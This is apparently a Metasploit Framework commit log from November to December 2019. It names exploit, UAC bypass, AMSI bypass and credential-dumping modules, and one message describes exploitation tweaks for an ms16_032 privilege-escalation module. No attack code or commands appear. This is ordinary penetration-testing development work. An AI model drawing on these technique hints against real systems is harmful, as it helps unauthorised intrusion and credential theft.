Kenneth LaCroix 3e049a279e create adobe_geticon.md and update adobe_reader_u3d.md 2019-12-06 21:56:48 -07:00
Pearce Barry 0d99e78047 Land #12663, reporting creds can have linked task 2019-12-06 14:26:17 -06:00
Brent Cook dcf2a2de24 Land #12672, pass string value to OptString#valid? 2019-12-06 14:18:56 -06:00
Brent Cook a7e57f740e Land #12675, update kiwi to mimikatz 2.2.0 20191125 2019-12-06 14:05:34 -06:00
Brent Cook 68101136de bump embedded version 2019-12-06 13:26:55 -06:00
Pearce Barry 74d87fcc76 Support JtR versions installed from packages
John the Ripper installed from native packages, like ubuntu's 'john' package, might output the version in a slightly different format than when you build from source.  This patch adds an addtional attempt to pull the version number from JtR's like these...
2019-12-06 13:26:04 -06:00
Brent Cook 6c669702e5 Land #12676, update cops to match new names 2019-12-06 12:34:23 -06:00
Jeffrey Martin 21060033b6 check before trying to access self as array 2019-12-06 12:03:43 -06:00
Adam Galway 9cf9f83d63 update cops to match new names 2019-12-06 17:36:10 +00:00
Brent Cook 7f30662067 update Kiwi extension with latest Mimikatz 2019-12-06 11:34:18 -06:00
Nicholas Starke 5d65741bb5 Changing Global Variables to Instance Variables 2019-12-06 10:35:43 -06:00
FenixH 31e7fb3daa web delivery fix 2019-12-06 12:45:23 +01:00
Christophe De La Fuente c47e0de9c0 Fix OptString#valid? 2019-12-06 12:34:17 +01:00
FenixH 65f8fa003c rpc fixes 2019-12-06 12:29:53 +01:00
FenixH 303009ce67 Merge remote-tracking branch 'upstream/master' 2019-12-06 11:09:52 +01:00
Kenneth LaCroix d4ef06dfcc Create adobe_reader_u3d.md 2019-12-06 01:19:12 -07:00
Brent Cook 156f192459 Land #12668, various Meterpreter fixes 2019-12-05 17:46:39 -06:00
Brent Cook 918674c16b bump meterpreter, various and sundry fixes 2019-12-05 17:24:29 -06:00
Nicholas Starke 6d523da790 Fixing require statements and scope
Made the 'succeeded' variable global in scope and added two
'require' statements that seemed to be necessary for the module
to work properly.
2019-12-05 14:43:46 -06:00
Nicholas Starke 335aef59da Adding failing condition
This commit adds a failure code if the module does not
successfully receive a response from the remote chrome process.
2019-12-05 14:17:30 -06:00
h00die fdce27c675 Land #12632, lots more module docs 2019-12-05 15:00:45 -05:00
h00die ce7a33abf5 example module review 2019-12-05 14:47:29 -05:00
Metasploit e1cb804764 Bump version of framework to 5.0.64 2019-12-05 12:09:50 -06:00
Clément Notin 2931863a4e bypassuac_silentcleanup: cleanup %WINDIR% env var before calling powershell payload
Fixes #12665
2019-12-05 15:08:50 +01:00
Henry Hoggard 2ed613ffa3 Fix file search 2019-12-05 08:46:56 +00:00
Kenneth LaCroix ea670d02fe Update group_policy_startup.md
Add module authors blog post .
2019-12-04 20:38:57 -07:00
Kenneth LaCroix a6db0202f4 Create group_policy_startup.md 2019-12-04 20:31:59 -07:00
William Vu 98c586b76e Fix style 2019-12-04 19:32:14 -06:00
Jeffrey Martin 79f2c9a048 reporting creds can have linked task 2019-12-04 17:55:23 -06:00
Francesco Soncina e11f64f8c8 Inject shellcode changes (#3)
Inject shellcode changes
2019-12-05 00:21:06 +01:00
Henry Hoggard 37fb5be381 Remove whitespace 2019-12-04 22:29:57 +00:00
Henry Hoggard 12218b0fde Add GPG 2.1+ keys, Stop storing empty files 2019-12-04 21:54:16 +00:00
Shelby Pace 3ddef6091c update scenarios section 2019-12-04 12:19:58 -06:00
Shelby Pace 35282b3e35 use printf command stager 2019-12-04 12:17:35 -06:00
Adam Galway 104710ca41 Land #12627, alter scanner info method for check 2019-12-04 15:04:11 +00:00
bwatters-r7 cc25a30d1a Move dpendency to mixin and adjust print statements 2019-12-04 09:00:03 -06:00
Kenneth LaCroix 196029b959 Update ms04_007_killbill.md 2019-12-04 01:41:07 -07:00
Kenneth LaCroix 31abd7d676 Update ms15_100_mcl_exe.md 2019-12-04 01:13:18 -07:00
Metasploit cc361e7dbb automatic module_metadata_base.json update 2019-12-03 19:30:58 -06:00
h00die faadf8e283 Land #12646, ms04_007 reliability and stability updates 2019-12-03 20:22:37 -05:00
h00die d65757faa4 further killbill fixes 2019-12-03 20:22:05 -05:00
Metasploit a14df776b0 automatic module_metadata_base.json update 2019-12-03 19:17:44 -06:00
h00die ce4bb563fc Land #12656, reliability and stability notes for ms06_040 2019-12-03 20:08:21 -05:00
bwatters-r7 0864a4840e Fix requirements in payload inject 2019-12-03 15:58:37 -06:00
Shelby Pace 713099c997 improve version check 2019-12-03 14:56:44 -06:00
Brent Cook b7b7ad906e Land #12659, make faraday spec slightly less strict 2019-12-03 14:20:41 -06:00
Jeffrey Martin fb8d9ec95b slightly less strict faraday in spec 2019-12-03 14:16:38 -06:00
bwatters-r7 2a14332f20 First try at adding error handling and offloading methods to the
Post::Windows::Process mixin for resusability and deduplication
2019-12-03 14:11:50 -06:00
Shelby Pace 5f149bc51c Update modules/exploits/multi/http/openmrs_deserialization.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-12-03 13:19:15 -06:00
Shelby Pace d8747c3a02 Update modules/exploits/multi/http/openmrs_deserialization.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-12-03 13:19:04 -06:00
Brent Cook d5d90dcbc3 Land #12655, update cert generation to not generate years in the past 2019-12-03 12:37:21 -06:00
Brent Cook ab9e7f720b bump rex-socket with related changes 2019-12-03 12:26:04 -06:00
Shelby Pace 9655c33a66 add bcoles' format_payload implementation 2019-12-03 12:24:33 -06:00
Brent Cook c4837966d1 Land #12658, pin faraday to avoid warnings from octokit on start 2019-12-03 12:20:29 -06:00
Brent Cook 19db4ed4f1 update Gemfile.lock 2019-12-03 12:12:52 -06:00
Shelby Pace c7125b1b5f remove options section 2019-12-03 12:06:44 -06:00
Adam Galway 774a93df1f use faraday gem version compatabile with octokit 2019-12-03 17:40:36 +00:00
Brent Cook 3dc64f142a Land #12657, suggest local exploit as better replacement for meterpreter scripts 2019-12-03 11:23:45 -06:00
William Vu 26f7c8f599 Suggest exploit/windows/local/persistence
The persistence and metsvc Meterpreter scripts use a built-in payload,
so the local exploit is a more appropriate match.
2019-12-03 11:08:23 -06:00
William Vu 263c7bf235 Use CheckModule in pulse_secure_cmd_exec 2019-12-03 10:39:58 -06:00
William Vu 347c63377d Print a warning for lack of CheckCode 2019-12-03 10:36:34 -06:00
William Vu 0b99b78c91 Don't validate exploit options needlessly 2019-12-03 10:36:34 -06:00
William Vu 9adc87c786 Check for nil 2019-12-03 10:36:34 -06:00
William Vu 1c87c21d8e Validate exploit options, too 2019-12-03 10:36:34 -06:00
William Vu 91c6c74173 Add only targeting options and validate datastore 2019-12-03 10:36:34 -06:00
William Vu f56b262eec Update modules 2019-12-03 10:36:34 -06:00
William Vu 1952697404 Refactor CheckScanner to CheckModule 2019-12-03 10:36:34 -06:00
Brendan Coles 3e7857d146 Add reliability and stability notes to ms06_040_netapi 2019-12-03 06:32:02 +00:00
Brendan Coles c036fc3df9 Fix ssl_generate_certificate to not generate expired certs - Fix #12634 2019-12-03 06:16:12 +00:00
Kenneth LaCroix 5ab266e049 Update ms06_040_netapi.md 2019-12-02 22:29:45 -07:00
Kenneth LaCroix e732291be9 h00die 2019-12-02 22:28:16 -07:00
Kenneth LaCroix c66f3c4388 Update ms06_040_netapi.md 2019-12-02 20:51:45 -07:00
Kenneth LaCroix 7dfe86034c update ms04_007_killbill.md and update ms06_040_netapi.md 2019-12-02 19:08:14 -07:00
Kenneth LaCroix 3881743847 Create ms06_040_netapi.md 2019-12-02 19:03:15 -07:00
Pearce Barry 8a370cf2ca Land #12637, set any passed workspace if db is active 2019-12-02 17:05:16 -06:00
Pearce Barry 5ac09e8281 Land #12631, set db workspace in handler when active 2019-12-02 17:04:05 -06:00
Pearce Barry 2de71aba72 Minor typo... 2019-12-02 16:13:05 -06:00
Shelby Pace f3922d73d8 use encode, replace double quotes 2019-12-02 15:25:52 -06:00
Brent Cook d3a636eb6a Land #12509, add check result to RPC API 2019-12-02 11:37:43 -06:00
Brent Cook 010cfe2d65 =~ / match? 2019-12-02 09:03:58 -06:00
Brent Cook 92cec6116b we don't need ruby-backports anymore (or maybe we can use it more conditionally on Ruby 2.6), it uses a lot of memory 2019-12-02 09:03:58 -06:00
Brent Cook 945f26e898 prefer delete_prefix over creating 2 new strings 2019-12-02 09:03:58 -06:00
Brent Cook 0f6cab0f7b prefer starts_with? and ends_with? over creating new strings 2019-12-02 09:03:58 -06:00
Brent Cook ca5bc94ccf kill never unused 'from' argument in library logs
This avoids computing a stack trace on every single log message
that is never used in any of the logging sinks. This is one of the
number one profiled memory allocation/deallocation events in Metasploit
as shown with memory_profiler.
2019-12-02 09:03:58 -06:00
Brent Cook 069a3e3c4e use casecmp rather than allocate a string on every comparison 2019-12-02 09:03:58 -06:00
Shelby Pace 4c95150491 add xml erb file 2019-12-02 08:44:37 -06:00
Shelby Pace 6f153a885a add tested version 2019-12-02 08:42:45 -06:00
Metasploit 95047f9fee automatic module_metadata_base.json update 2019-12-01 10:21:16 -06:00
dwelch-r7 41569b78ba Land #12503, Add exploit module for Ajenti 2.1.31 2019-12-01 16:13:06 +00:00
Metasploit e206cdafb3 automatic module_metadata_base.json update 2019-12-01 09:49:23 -06:00
dwelch-r7 ed94499ea6 Land #12422, Add module for enumerating git keys 2019-12-01 15:39:54 +00:00
Brendan Coles ddf9cf71ab Add check_executable check to msftidy 2019-11-30 07:25:27 +00:00
Brendan Coles ba05e91d19 Add Reliability notes 2019-11-30 06:28:12 +00:00
Brendan Coles a6723c12fb Add stability notes to ms04_007_killbill 2019-11-30 06:16:41 +00:00
h00die da506c9684 dont load examples and syntax fixes 2019-11-29 09:11:44 -05:00
Metasploit d2f83f868d automatic module_metadata_base.json update 2019-11-29 06:58:10 -06:00
Brendan Coles 5fde74de4f Land #12644, Fix iis75_ftpd_iac_bof crash when returned banner is nil 2019-11-29 12:59:19 +00:00
h00die f17fe39bda dos iis75 nocrash 2019-11-29 07:15:17 -05:00
h00die bad8e24e48 additional example exploits 2019-11-29 06:54:34 -05:00
Christophe De La Fuente 857677f39d Update log message 2019-11-29 11:35:14 +01:00
Metasploit 579b001bd3 automatic module_metadata_base.json update 2019-11-29 04:20:46 -06:00
Christophe De La Fuente 373d147efd Land #12555 - Wordpress Plainview Activity Monitor RCE 2019-11-29 11:10:24 +01:00
leo-lb 1cf9a2eb53 Update wp_plainview_activity_monitor_rce.rb 2019-11-28 20:13:21 +01:00
leo-lb 2372f7e40d Update wp_plainview_activity_monitor_rce.rb 2019-11-28 20:10:17 +01:00
Kenneth LaCroix 7473a79cb3 Create ms04_007_killbill.md 2019-11-28 11:33:42 -07:00
Metasploit b7ee610a67 Bump version of framework to 5.0.63 2019-11-28 12:08:21 -06:00
Christophe De La Fuente 6a7c2835ec Update specs... again 2019-11-28 16:05:51 +01:00
Christophe De La Fuente 127e1d451f Update specs 2019-11-28 14:58:25 +01:00
Christophe De La Fuente 39ab534773 Improve Wordpress version check
- Add log message to Detected and Unknown check codes
- Add an exception handler to catch Gem::Version parsing errors
2019-11-28 12:56:08 +01:00
Kenneth LaCroix 5e2c0604ab Create ms15_100_mcl_exe.md and Create ms10_092_schelevator.md 2019-11-27 18:12:57 -07:00
Jeffrey Martin 75f78fbce4 set any passed workspace if db is active 2019-11-27 17:19:44 -06:00
leo-lb 853fea736d Update wp_plainview_activity_monitor_rce.rb 2019-11-27 22:28:33 +01:00
leo-lb 60b98fd20c Update wp_plainview_activity_monitor_rce.rb 2019-11-27 21:59:54 +01:00
leo-lb 9b5265f49a Update wp_plainview_activity_monitor_rce.rb 2019-11-27 21:57:24 +01:00
Wyatt Dahlenburg 02bb97fba6 Forced gitserver to required and improved status messages 2019-11-27 11:18:01 -06:00
Jeffrey Martin af0215a8d4 set db workspace in handler when active 2019-11-27 08:39:51 -06:00
Kenneth LaCroix 6a28e818d7 Create recorder.md 2019-11-27 02:36:42 -07:00
Brent Cook ea1c1aa745 Land #12622, add aux docs for dlsw_leak_capture and ftpbounce 2019-11-26 14:46:19 -06:00
Metasploit 3d304dcbc4 automatic module_metadata_base.json update 2019-11-26 12:43:46 -06:00
Brent Cook 9e47bff246 Land #12624, add pingback payload specs 2019-11-26 12:34:23 -06:00
dwelch-r7 70395f2c23 Land #12629, fix typo in splunk upload app exec 2019-11-26 18:26:46 +00:00
Adam Cammack bcb4f6b1e6 Land #12623, Stub tests for compiled payloads 2019-11-26 10:04:21 -06:00
Francesco Soncina 45bee2d500 Update splunk_upload_app_exec.rb 2019-11-26 15:38:34 +01:00
dwelch-r7 47b31a152e Alter scanners info method to show check supported properly 2019-11-26 04:21:06 +00:00
Kenneth LaCroix 7129a058e5 Update ftpbounce.md 2019-11-25 21:01:53 -07:00
Kenneth LaCroix ce523bbf12 Create ftpbounce.md and update dlsw)leak_capture.md 2019-11-25 20:56:20 -07:00
Metasploit 5bf0d64325 automatic module_metadata_base.json update 2019-11-25 18:44:39 -06:00
William Vu 6f1117eee1 Land #12625, DOUBLEPULSAR exploit print updates 2019-11-25 18:36:13 -06:00
William Vu b22d2a1685 Update prints in DOUBLEPULSAR exploit check method
vprint_good should be print_warning, and most vprints should be print,
even if in check, since check is critical functionality.
2019-11-25 18:33:46 -06:00
Jeffrey Martin a417919e22 seperate x86 single and staged encrypted 2019-11-25 18:28:02 -06:00
Jeffrey Martin 97dbcc9476 seperate x64 single from staged 2019-11-25 17:19:38 -06:00
Jeffrey Martin ece57f4da6 add pingpack payload specs 2019-11-25 16:50:19 -06:00
Jeffrey Martin e883b07fd6 add helper for payloads not cached 2019-11-25 15:59:32 -06:00
Jeffrey Martin a428c1a4a6 stub test for compiled encrypted payloads 2019-11-25 14:02:34 -06:00
Metasploit 3f6a19be1a automatic module_metadata_base.json update 2019-11-25 13:12:41 -06:00
dwelch-r7 a8847a1d2a Land #12475, enhancements to brute_dirs module 2019-11-25 19:04:30 +00:00
Brent Cook c08ed0e953 Land #12613, make :workspace key more consistent 2019-11-25 10:39:01 -06:00
Metasploit 37ae4bd669 automatic module_metadata_base.json update 2019-11-25 10:31:22 -06:00
Adam Cammack dc9a1c0307 Land #12618, Add tests for the JJS payloads 2019-11-25 10:21:34 -06:00
Kenneth LaCroix 1221e800d3 Update dlsw_leak_capture.md 2019-11-24 18:26:02 -07:00
Kenneth LaCroix e8bee9f3b4 Create dlsw_leak_capture.md 2019-11-24 16:31:57 -07:00
h00die f10b08a3b1 Land #12607 a bunch of aux docs 2019-11-23 13:00:46 -05:00
h00die 238bfa9b67 module touchups 2019-11-23 12:59:51 -05:00
Kenneth LaCroix 0f7d0b3bea bcoles suggestions 2019-11-23 06:07:58 -07:00
Kenneth LaCroix eb044226f3 formatting and created empty_udp.ms 2019-11-23 04:08:55 -07:00
Kenneth LaCroix fdc7123592 Formatting and versioning 2019-11-22 21:41:06 -07:00
Kenneth LaCroix e952f6ad54 Update versions used 2019-11-22 20:40:52 -07:00
Kenneth LaCroix b0802ebf98 Update dns_amp.md 2019-11-22 19:30:20 -07:00
Kenneth LaCroix b2f66e7fb6 Create dns_amp.md 2019-11-22 16:50:35 -07:00
Jeffrey Martin ba06624e57 consistent usage of :workspace key 2019-11-22 11:16:22 -06:00
RAMELLA Sébastien eb2817b51f fix. typo into the documentation. 2019-11-22 20:10:29 +04:00
Christophe De La Fuente cd22c1bea4 Minor fixes for OPTIONS
- Remove TIMEOUT option since it is already present in the advanced
options (HttpClientTimeout)
- Add DATA option to set the POST data
2019-11-22 15:09:08 +01:00
RAMELLA Sébastien 6e93df1224 fix. DisablePayloadHandler to false in target 0 and add unknown author. 2019-11-22 17:56:50 +04:00
John Kollross 97b6b858e8 Update apache_userdir_enum.md 2019-11-22 07:01:42 -06:00
John Kollross 566807b20a Create apache_userdir_enum.md 2019-11-22 07:01:05 -06:00
Kenneth LaCroix 45ba7acf00 Update konica_ftp_traversal.md 2019-11-21 21:27:50 -07:00
Kenneth LaCroix 0d8ae2a53a Create konica_ftp_traversal.md 2019-11-21 21:27:01 -07:00
Kenneth LaCroix e054fdddbb Addressed changes requested by h00die 2019-11-21 20:52:15 -07:00
Jeffrey Martin 8d057518ce add jjs payload tests and set cached sizes 2019-11-21 16:38:18 -06:00
Shelby Pace 407adca9ec add docs 2019-11-21 14:15:57 -06:00
Shelby Pace e6e1156185 add reference, description, etc. 2019-11-21 14:15:25 -06:00
Metasploit 9cae9b939b Bump version of framework to 5.0.62 2019-11-21 12:08:35 -06:00
Brent Cook f8c84c9928 Land #12530, add encrypted, compilable shell payloads 2019-11-21 08:59:46 -06:00
Brent Cook 51f26a91c0 rename singles to match staged payloads 2019-11-21 05:19:39 -06:00
MangyCoyote a7e7b9dbf2 post/multi/gather/ssh_creds should verify it has access to a file before reading it 2019-11-21 10:48:42 +01:00
Kenneth LaCroix 5a81032d2a Update pcman_ftp_traversal.md 2019-11-20 20:53:33 -07:00
Kenneth LaCroix d0741f8180 Create pcman_ftp_traversal.md 2019-11-20 20:34:30 -07:00
Shelby Pace a4657da33a code execution with Java 8 2019-11-20 15:29:33 -06:00
Metasploit 8785b07dc3 automatic module_metadata_base.json update 2019-11-20 14:23:42 -06:00
bwatters-r7 c841306cb0 Land #12544, Add bind/reverse jjs unix cmd payloads
Merge branch 'land-12544' into upstream-master
2019-11-20 14:14:11 -06:00
Shelby Pace 0f5a3a3d64 use one cipher object
The c code was modified in order to keep
track of the context.
2019-11-20 11:24:23 -06:00
Shelby Pace bf2bfb3b39 use chacha20 class 2019-11-20 10:42:03 -06:00
Onur ER fa1647190e Update ajenti_auth_username_cmd_injection.rb 2019-11-20 19:09:24 +03:00
Onur ER 841e524b6f Update modules/exploits/unix/webapp/ajenti_auth_username_cmd_injection.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-20 18:08:33 +03:00
Onur ER af59efa4cd Update modules/exploits/unix/webapp/ajenti_auth_username_cmd_injection.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-20 18:08:23 +03:00
Kenneth LaCroix 413023c477 Formatting changes to afp_login.md and created documentation for windows_deployment_services module. 2019-11-19 21:39:59 -07:00
Kenneth LaCroix 21e4a356df Update db2_auth.md 2019-11-19 20:17:30 -07:00
Kenneth LaCroix 0ba4ecbf88 Create db2_version.md 2019-11-19 20:08:23 -07:00
Kenneth LaCroix d12602ef00 Create db2_auth.md 2019-11-19 19:56:30 -07:00
Shelby Pace deb57a1df0 add modified chacha implementation, format_uuid 2019-11-19 20:16:16 -06:00
Brent Cook 3e951b3f4b Land #12457, consolidate workspace actions 2019-11-19 17:10:36 -06:00
Kenneth LaCroix 11fa1cb3f5 Update apple_acpp_scanner.md 2019-11-19 15:24:35 -07:00
Kenneth LaCroix adafae6300 Create apple_accp_scanner and afp_login module documentation. 2019-11-19 14:20:22 -07:00
Metasploit fdf477077c automatic module_metadata_base.json update 2019-11-19 10:50:17 -06:00
bwatters-r7 b3c44a45c6 Land #12602, scanners: fix a couple of typos
Merge branch 'land-12602' into upstream-master
2019-11-19 10:41:25 -06:00
Tim W f3cf898c84 bump rex-powershell to 0.1.83 2019-11-19 22:27:11 +08:00
Tim W b63fd963aa default AMSI bypass off except for web_delivery 2019-11-19 22:26:40 +08:00
Federico Pellegrin b81545acee scanners: fix a couple of typos 2019-11-19 10:15:46 +01:00
Adam Cammack 5565ef9450 Return check codes from scanner runs 2019-11-19 00:35:17 -06:00
Adam Cammack da81c1600e Trivial specs on the attrs for now 2019-11-19 00:30:44 -06:00
Adam Cammack 9d41818899 Always trigger the Simple interface 2019-11-19 00:28:17 -06:00
Metasploit 3b6c5ac28e automatic module_metadata_base.json update 2019-11-19 00:24:53 -06:00
Tim W 6fa16c7020 Land #12593, fix android hashdump hash format 2019-11-19 13:37:16 +08:00
Metasploit 61b04e769c automatic module_metadata_base.json update 2019-11-18 17:45:41 -06:00
Brent Cook 42a06583b8 Land #12601, don't store public-only ssh creds 2019-11-18 17:37:19 -06:00
Metasploit f1d49c3863 automatic module_metadata_base.json update 2019-11-18 17:21:21 -06:00
Brent Cook 23f66f85eb Land #12479, fix error running sap_mgmt_con_brute_login 2019-11-18 17:12:46 -06:00
Brent Cook 27eb17d4ff Land #12583, add web report methods to web data proxy 2019-11-18 17:07:50 -06:00
Metasploit be74a217a5 automatic module_metadata_base.json update 2019-11-18 15:24:51 -06:00
Brent Cook ccff82f818 Land #12589, restrict windows/local/persistence_service to working session types 2019-11-18 15:15:50 -06:00
Metasploit 060bc0495f automatic module_metadata_base.json update 2019-11-18 15:13:13 -06:00
Shelby Pace 86a7495e70 add require 2019-11-18 15:12:15 -06:00
Shelby Pace 140eecac1f use new chacha implementation 2019-11-18 14:42:47 -06:00
MangyCoyote cfd86f6412 ssh_creds module tries to store ssh public keys (#1)
Resolves #12599
2019-11-18 21:28:47 +01:00
Brent Cook 73950eef50 Land #12516, Add Windows Escalate UAC Protection Bypass 2019-11-18 14:25:07 -06:00
Shelby Pace 2e73a9fe3f check for mixin that uses db 2019-11-18 13:45:24 -06:00
Shelby Pace e5d418e913 generalize saving and retrieval of db info 2019-11-18 13:41:01 -06:00
Brent Cook 5936d2c415 use a finer-grained exception here 2019-11-18 12:57:33 -06:00
Onur ER f93fda79f6 Add Module Documentation 2019-11-18 20:25:56 +03:00
Metasploit ea56158d53 automatic module_metadata_base.json update 2019-11-18 10:28:57 -06:00
bwatters-r7 2736cbc84c Land #12588, Remove unsupported session type
Merge branch 'land-12588' into upstream-master
2019-11-18 10:19:01 -06:00
Shelby Pace 3fa9e9b0a8 add Dependencies array with mingw arch class 2019-11-18 09:35:18 -06:00
Shelby Pace 41bc3851a2 remove mingw check, add general dependency check 2019-11-18 09:33:43 -06:00
Metasploit 56944c8364 automatic module_metadata_base.json update 2019-11-18 02:19:14 -06:00
Brent Cook 41161ba917 Land #12585, use post API for shell compat in enum_hostfile 2019-11-18 02:09:09 -06:00
Metasploit 4a9b48deaa automatic module_metadata_base.json update 2019-11-18 01:55:38 -06:00
Brent Cook 5a6e4c031d Land #12494, Add Windows backup system sdclt uac bypass module 2019-11-18 01:47:11 -06:00
Brent Cook 09730aebf4 s/http/https/ 2019-11-18 01:45:57 -06:00
Shelby Pace 60d48ebde5 add x86 and x64 classes 2019-11-17 19:45:22 -06:00
h00die a0e45f4841 fixes for android hashdump 2019-11-17 13:44:19 -05:00
Brendan Coles facf16b860 Declare correct SessionType - Fix #12586 2019-11-16 04:58:02 +00:00
Brendan Coles 9e37fb3ece Declare correct SessionType - Fix #12587 2019-11-16 04:57:18 +00:00
Brendan Coles f5fbdcacc3 Add support for shell sessions to post/windows/gather/enum_hostfile 2019-11-16 04:07:01 +00:00
dwelch-r7 a97c145ba9 Allow for optional workspaces 2019-11-16 00:26:25 +00:00
dwelch-r7 191cbcdd12 Add some missing remote data calls
Also adds some extra verification for the specified workspace in incoming requests
2019-11-16 00:04:44 +00:00
Shelby Pace aa058eaca3 remove ternary 2019-11-15 13:02:53 -06:00
bwatters-r7 d093c75ae5 Stupid pry.... 2019-11-15 12:27:42 -06:00
bwatters-r7 1e95e1c956 Fix up required reg additions for different windows versions
Add module docs
2019-11-15 12:20:50 -06:00
Shelby Pace 51a392f8a6 change default value 2019-11-15 11:59:40 -06:00
Metasploit 6b586552bd automatic module_metadata_base.json update 2019-11-15 11:36:05 -06:00
William Vu 05721ef2ec Land #12581, additional BlueKeep doc fixes 2019-11-15 11:26:06 -06:00
William Vu 1d6e0a8638 Further correct target documentation 2019-11-15 11:23:28 -06:00
William Vu 6e904ea105 Fix/clarify target documentation for BlueKeep 2019-11-15 11:14:00 -06:00
dwelch-r7 dfaba0a98e Add endpoints for report_web_* 2019-11-15 16:33:28 +00:00
Metasploit 4ad895e7d6 automatic module_metadata_base.json update 2019-11-15 05:09:59 -06:00
Tim W 41e3bccdaa Land #12497, add android hashdumper for cracking Android pin codes 2019-11-15 18:13:16 +08:00
Green-m 22412d4570 Fix bind error bug, and enhance check method. 2019-11-15 09:52:58 +08:00
Metasploit 640bf58321 automatic module_metadata_base.json update 2019-11-14 15:28:12 -06:00
William Vu 8564d63767 Land #12575, 2008 caveat note in BlueKeep exploit 2019-11-14 15:19:44 -06:00
William Vu 618a7c9771 Land #12567, tribute banner for the console 2019-11-14 14:47:08 -06:00
Metasploit a08f046cb1 Bump version of framework to 5.0.61 2019-11-14 12:55:01 -06:00
William Vu 28ecefadb8 Warn about fDisableCam in automatic mode 2019-11-14 11:08:27 -06:00
William Vu cb6d85bee2 Add suggestion about GROOMBASE 2019-11-14 11:08:14 -06:00
William Vu fc64ac42af State 2008 caveat in module description and doc 2019-11-14 10:57:42 -06:00
Brent Cook bbe95e393d initial integration work 2019-11-14 10:29:58 -06:00
Brendan Coles 5f976f0c45 Land #12570, Fix compile failure handling in Post::Linux::Compile 2019-11-14 08:09:13 +00:00
h00die 8b8c70b145 add samsung and md5 processing 2019-11-13 21:48:25 -05:00
Cory Kennedy a66a59ae2a Changed Filename 2019-11-13 20:26:49 -06:00
Cory Kennedy 03117ea685 Update SecKC.txt 2019-11-13 20:26:01 -06:00
Metasploit b7f4eba8b7 automatic module_metadata_base.json update 2019-11-13 11:44:06 -06:00
sinn3r 5c6686a105 Land #12532, Add FusionPBX Command exec.php Command Execution
Add FusionPBX Command exec.php Command Execution
2019-11-13 11:33:21 -06:00
sinn3r 66ad5deb47 Land #12531, Add FusionPBX Operator Panel exec.php Command Execution
Add FusionPBX Operator Panel exec.php Command Execution
2019-11-13 11:31:30 -06:00
sinn3r 71cbefa5e8 Land #12534, Add FreeSWITCH Event Socket Command Execution
Add FreeSWITCH Event Socket Command Execution
2019-11-13 11:27:53 -06:00
Brent Cook fff9f51d07 add initial ruby implementation of chacha
Note this is the original version with the 64-bit IV and 64-bit block
counter. This can be changed to the RFC version in a bit.
2019-11-13 09:22:14 -06:00
Metasploit b93ef61c06 automatic module_metadata_base.json update 2019-11-13 08:45:46 -06:00
Shelby Pace 1ebef8bcb2 Land #12529, add CMSMS object inject exploit 2019-11-13 08:37:05 -06:00
Shelby Pace f79a35d428 check response 2019-11-13 08:34:23 -06:00
Metasploit b510c04f61 automatic module_metadata_base.json update 2019-11-13 02:29:49 -06:00
William Vu 8e208daec2 Land #12572, .rubocop.yml renamed cop fix 2019-11-13 02:15:21 -06:00
William Vu 349bc93054 Land #12573, DOUBLEPULSAR exploit style fixes 2019-11-13 02:13:54 -06:00
William Vu 45e2a3b229 Address RuboCop review 2019-11-13 02:10:03 -06:00
William Vu 7a4c48ee27 Fix style in exploit/windows/smb/doublepulsar_rce 2019-11-13 02:04:14 -06:00
William Vu 671836b93b Fix renamed RuboCop check in .rubocop.yml 2019-11-13 01:45:01 -06:00
Metasploit fc300c6bf4 automatic module_metadata_base.json update 2019-11-13 00:48:01 -06:00
William Vu 1d94564af4 Land #12571, DOUBLEPULSAR exploit metadata updates 2019-11-13 00:35:28 -06:00
William Vu 4877032e8a Update exploit/windows/smb/doublepulsar_rce info 2019-11-13 00:30:09 -06:00
Tim W d364c22541 fix NameError uninitialized constant Msf::Post::Linux::Compile::Failure 2019-11-13 12:30:02 +08:00
lle-bout 6766d9f6f7 Fix exploit/windows/local/ms16_032_secondary_logon_handle_privesc
- Powershell script was outdated.
   Updated from https://www.exploit-db.com/exploits/39719

 - Powershell script was buggy when current directory
   was set to e.g. C:\ProgramData. (Get-Item Error)
   Fixed.

 - Stager was being dropped to current directory, but
   it is not guaranteed that we always have permission
   to write a file there. Use %TEMP% instead.

 - Exploit only seems to work when executed under
   a powershell of the same architecture as the
   host. (Not WOW64)
   This module now ensures that no matter the
   architecture of the meterpreter, a powershell
   of the same architecture as the host is being
   run. (Using Sysnative directory when on WOW64)

 - Stager was broken, now generating stager with Rex
   and dropping stager as `.ps1` instead of `.txt`.

   Ideally the exploit should be rewritten to
   accept a shellcode payload directly or a smaller
   stager powershell should be created so that it
   fits in under 1024 bytes and can be fed directly
   to CreateProcessWithLogonW without dropping to
   disk.
2019-11-13 05:01:47 +01:00
h00die ec63c4c419 fix negative bug, add docs 2019-11-12 22:32:07 -05:00
scanu92 d9b0c1aa2f add advanced options ForceExploit 2019-11-12 23:03:28 +01:00
scanu92 1489e03f0a Update cmsms_object_injection_rce.rb 2019-11-12 23:02:16 +01:00
scanu92 78ea784e84 Update modules/exploits/multi/http/cmsms_object_injection_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-11-12 23:00:31 +01:00
Cory Kennedy 7d9ab29c8c Create SecKC.txt 2019-11-12 15:55:26 -06:00
Metasploit 493c48dcd6 automatic module_metadata_base.json update 2019-11-12 15:52:58 -06:00
Shelby Pace baf27f9654 Land #12542, add Bludit File Upload Exploit 2019-11-12 15:44:34 -06:00
h00die f47721c907 Merge pull request #14 from timwr/android_hashdump
fallback to settings.db if locksettings.db does not exist
2019-11-12 16:33:01 -05:00
Cristina Muñoz e804745766 Bugfix: correct reference to asm file 2019-11-12 09:30:27 -08:00
Metasploit dea692a5bd automatic module_metadata_base.json update 2019-11-12 03:17:11 -06:00
William Vu 7d77c0fd5a Land #12543, myworkspace.id to myworkspace_id fix 2019-11-12 03:09:08 -06:00
Metasploit b1aeb5d040 automatic module_metadata_base.json update 2019-11-12 03:06:45 -06:00
William Vu 3c1fa90a75 Land #12515, Pulse Secure VPN RCE 2019-11-12 02:55:01 -06:00
William Vu add013283d Land #12511, Pulse Secure VPN file read redux 2019-11-12 02:51:11 -06:00
William Vu a8e289ee9c Code-block env(1) 2019-11-12 02:46:18 -06:00
William Vu f14eda45e8 Land #12537, minimum Ruby version in gemspec 2019-11-12 02:28:04 -06:00
William Vu a267ad9d64 Reference env(1) as the reason we have useful RCE 2019-11-12 02:17:58 -06:00
William Vu a17b2c2041 Add module doc 2019-11-12 02:10:10 -06:00
